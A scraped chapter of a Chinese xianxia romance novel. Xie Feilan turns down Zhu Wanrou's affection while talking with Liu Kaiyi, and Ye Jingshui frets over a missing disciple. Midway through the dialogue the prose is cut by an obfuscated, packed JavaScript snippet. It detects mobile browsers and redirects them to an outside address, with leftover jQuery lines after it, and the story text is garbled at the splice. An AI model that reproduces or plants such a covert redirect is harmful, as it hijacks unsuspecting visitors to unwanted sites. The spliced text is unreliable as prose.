原来叶惊水也会这样伤害人。打着对他好的名义,将他推得远远的。
委婉并不一定适用叶惊水,或许他应该更加强硬才对。
只是不知道自己是否真的能对她做到强硬。
谢斐岚没有再说任何多余的话,干脆地离开了洞府。
叶惊水隔着轩窗,遥望着谢斐岚的身影渐渐融进雾霭深重的夜色里。
恍惚间,叶惊水又忆起她牵着谢斐岚一起寻找居所,一起生活的那些时日。
瘦弱的孩童逐渐长成了如今这般身姿挺拔,气宇轩昂的青年。
她曾出于正义善心救下他,自此他的人生被彻底改变。造因得果,如今合该与他了结了这段因缘。
而今而后,他是玄眇宗掌门,她是玄眇宗长老,再无其它关系。
谢斐岚心事重重地回到清心阁,前来迎接他的竟不是腓腓,而是柳开意。
柳开意一改平日的吊儿郎当,神色庄重。看到谢斐岚回来,率先问道:“又去鸿峰练功了?”
谢斐岚看了眼柳开意,按压下心中的苦闷怅惘,微笑道:“我是去见了……”他差点顺势说出“师尊”二字,想到方才与叶惊水的谈话,千回百转间还是改口道:“阿水。”
“这么晚?”柳开意苦笑:“你对三师叔果真执着。”
谢斐岚没有否认,直接问他:“你这么晚来寻我,是席间的酒还未喝够?”
柳开意摇摇头。既没有跟谢斐岚插科打诨,也没有拉着谢斐岚一起进屋。他就这样站在屋外,与谢斐岚保持着不远不近的距离,神情被夜雾晕开,瞧不真切。
柳开意明知道谢斐岚属意何人,也非常支持谢斐岚。
可祝宛柔那张哭得梨花带雨的脸一直在脑中挥之不去,他总想为祝宛柔做些什么。
柳开意其实很为难。一边是至交,一边是心上人,帮谁都不对。可让他就这样作壁上观,他又做不到。
至少,可以试着说服谢斐岚,或是跟他推心置腹聊几句。
“不是找我喝酒,那是有何要事么?”
柳开意挠挠头,踌躇着不知从何说起。
谢斐岚也没催促柳开意,只是静静与他相对。直到听见他说:“阿斐,你和阿柔之间发生了什么?她……”
自谢斐岚明确说明心意后,祝宛柔便有意避开和谢斐岚的目光接触。谢斐岚也因拒绝了她而心有愧意。两人纵然见面也只剩相顾无言,只好装作瞧不见对方化解尴尬。
谢斐岚也知这小小的异样瞒不过柳开意那双察言观色的眼睛,被他问起亦不觉惊讶。
谢斐岚走向屋门并邀请柳开意:“进屋再说。”
柳开意没有拒绝,跟着谢斐岚一同进了屋内。
屋内昏暗,四周静寂,不见腓腓影迹。
在谢斐岚点亮屋内的灯火时,柳开意主动向他说明:“我请腓腓去山外巡逻了,你不必挂心。”
谢斐岚颔首,示意柳开意随意。他则坐到书案前,将有些凌乱的案上收拾整齐。
柳开意就随便寻了处地方坐下,说:“阿斐,你还未回答我。”
尽管身为好友的柳开意直接来问,谢斐岚也有些不好启齿。于他而言或许只是寻常的拒人千里,可对祝宛柔来说却并非如此。
他到底还是伤害了祝宛柔。再擅自与他人提及此事,是将她置于何地?
“此事我不当说,恐会令她难堪。”
柳开意明白谢斐岚的意思。
如果谢斐岚能更加冷硬绝情,他反而更容易劝慰祝宛柔。偏偏谢斐岚是这样的好人,他半句谢斐岚的坏话都没办法在祝宛柔面前说起。
“阿柔她很喜欢你。”柳开意决定让自己当这个坏人:“谁都看得出来,只有她以为别人不知道。”
谢斐岚长久地沉默着。
“我碰巧见到她哭,问她何故,她却什么都没说。我想能让她如此伤心的人或事,定与你相关。看来,我是猜对了。”
“……让你费心了。但……还请你多劝劝她,莫因我而伤心难过。”
“阿斐,推己及人。若三师叔拒绝了你,你会不难受么?”柳开意眉头紧锁,右额上的短疤都变得狰狞起来:“阿柔年纪轻,阅历本不如你。被你拒绝,难免想不开,人之常情罢了。”
谢斐岚怔怔然。
是啊,方才叶惊水的话又浮于脑海。
被喜欢的人拒绝,伤心难过在所难免。他何尝不是?
“你说得对。”谢斐岚低垂着眼帘,目光不知落在何处:“越对他人执着,越容易受影响。她一样,我也一样。”
柳开意听出谢斐岚话里的自嘲,凝眸看他:“阿斐?”
谢斐岚却很快苦笑开来道:“只是我病入膏肓,不可救药了。可她还有很多选择。芸芸众生,她又何苦执相一人?”
一句不可救药,便将他与祝宛柔划分为两种人。
柳开意见证过他一路走来的艰辛,明白他字词里的份量,理解他说出这番话的心情。
可柳开意却不太认同:“阿斐凭何认为她与你不同?喜欢一个人的心情谁都是一样的,不是么?”
“开意,”谢斐岚终于看向柳开意,带着几分探究和不解:“莫非你对宛柔……”
柳开意整个人僵了一瞬,接着用极快的语速否认道:“哎,你别乱说话。我身为大师兄,自然要照看好自己的师弟师妹们。他们难受,我也会跟着心疼。”
谢斐岚没有丝毫怀疑地接受了他的说法:“嗯,我猜错,也说错了。多谢你的点拨,我确实自以为是了。”
“……阿斐,你真的不考虑和阿柔结为道侣?试都不想试一下?”
谢斐岚干脆地摇头:“既然无意,何必赠人希望。”
“要我说试试也没什么不好。以三师叔那性子,你想等她开窍,只怕得等到枯树开花之时。”
谢斐岚以为柳开意与叶惊水年纪相仿,又一起相处了几百年,应该很了解叶惊水。可听到柳开意刚才的话又让他觉得,柳开意对叶惊水的了解似乎没有他想象中那么多。
叶惊水对待他人情感并不如他说的那样迟钝。相反,还有几分敏锐。否则又怎会在他有所表示前就着急跟他划清界限。
她隐藏的这一面,只有他知道。
也是一种欢喜。
“阿水不一样。比起让她待在身边,我更希望她能鸿鹄高飞,一举千里。”
“过于执拗便着魔了,阿斐。”
“可我便是由此入道,执剑而行。”
柳开意已经清楚地明白,再怎么尝试谢斐岚都不会接受祝宛柔。
哪怕一丝一毫的侥幸都绝无可能。
“阿柔又该怎么办?”
“她灵根极佳,天赋不错,更该好好修炼。无论出于何种因果,既然选择修仙,就该以飞升作为目标。”
谢斐岚说话时明明很温和,没有分毫咄咄逼人之势,柳开意听着却有种不容他人置喙的绝情。
“身边有道侣相伴修炼固然锦上添花,可若没有也不该止步不前。”
柳开意犹豫再三方才开口问道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17429579|198004||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“这是你想对阿柔说的话?”
谢斐岚苦笑着摇头:“也是对我自己说的。”
******
从秘法洞天回到玄眇宗后又过去半个月,依旧没有任何陈燱的消息。
牧淮清的意思是,既然半个月过去都没有消息,只能说明他还在洞天之中。要么再进去找他,要么就放弃寻他。
然而事实上,他们没有任何选择。
那个凭空出现的秘法洞天又在某天凭空消失了。连带着进去的修士一起无影无踪,就像从未出现过一样。
两块耸天无字石碑并连而成的无形雾门早已消失无形,瞿川与禹川交界处的山群依旧是青山绿野,白云幽幽,江水潺潺,再无异状。
或许在某个很久的以后会有人从洞天回来,但眼下谁都无法预知。
任一春一心关注炼丹进展,拖着拖着就耽误了去秘法洞天的行程。最终和孙莠两人与那洞天失之交臂。
叶惊水反而为此庆幸。
救不回陈燱已经让她难受了几天。要是任一春和孙莠再有个什么差池,她都想象不到自己会有多难过。
叶惊水坐在蒲团上,抱着几把形状各异,装饰不同的剑鞘在长吁短叹。祈星则在她身旁认真地擦拭着手上那把散发出浅金光芒的短剑。
不知是擦得烦了还是听得烦了,他终于忍不住停下来,抬眼看叶惊水:“小叶儿,你坐在这里一共叹了七百九十六次气。到底有何烦心事?”
踏月站在两人不远处的摆架前,拿着本子和毛笔在清点剑器。听到祈星的话,踏月面无表情地开口:“是魔宗的事。”
祈星道:“魔宗有什么好烦的?像以前那样,统统把他们砍于剑下就好。”
踏月无情地评价道:“头脑简单。”
“阿姐,你怎么能这么说我?我可聪明着呢。对不对,小叶儿?”
叶惊水又叹了几声,心不在焉地说道:“对,没错。”
祈星瞧她敷衍的模样,直接把手里的短剑丢向叶惊水:“你都不关心我,我不喜欢你了!”说完就气呼呼,头也没回地跑出了藏剑阁。
叶惊水手忙脚乱地接住丢来的剑:“我的宝贝,小心我的宝贝……祈星!”
可哪里还有祈星的影子?
踏月道:“主上,自作自受。”
叶惊水知道踏月又在说这是她娇纵祈星之故。可她总是忍不住宠他,又有什么法子?
踏月又道:“主上在担忧什么?”
“我始终对陈燱失踪一事耿耿于怀,还想再去找找他。”
“找不到?”
“是啊,半个月都找不到人影。兴许真是随着洞天一起消失了。”
“是他的命数。”
“淮清也这么说。”叶惊水爱抚着短剑剑身,道:“罢了,天道无常,多思无益。”
“主上这么想是对的。”
没过一会儿,踏月耳朵动了动,似乎听到什么,又对叶惊水说道:“主上,外面有人来了。”
叶惊水闻言,慢悠悠将短剑收进配套的剑鞘里,又将剩余剑鞘放好才走出去。
外面来的是个年轻弟子。看到叶惊水出来,他向叶惊水拱手行礼道:“叶师叔,掌门有请。”
谢斐岚找她?
自他们把话说开后,她忙着找陈燱,他忙着处理宗门事务,都没怎么见过面了。他忽然遣人来找她,让她有种不妙的预感。
可若她拒绝又显得她心口不一,做贼心虚。
最后她只得应下:“我知道了。”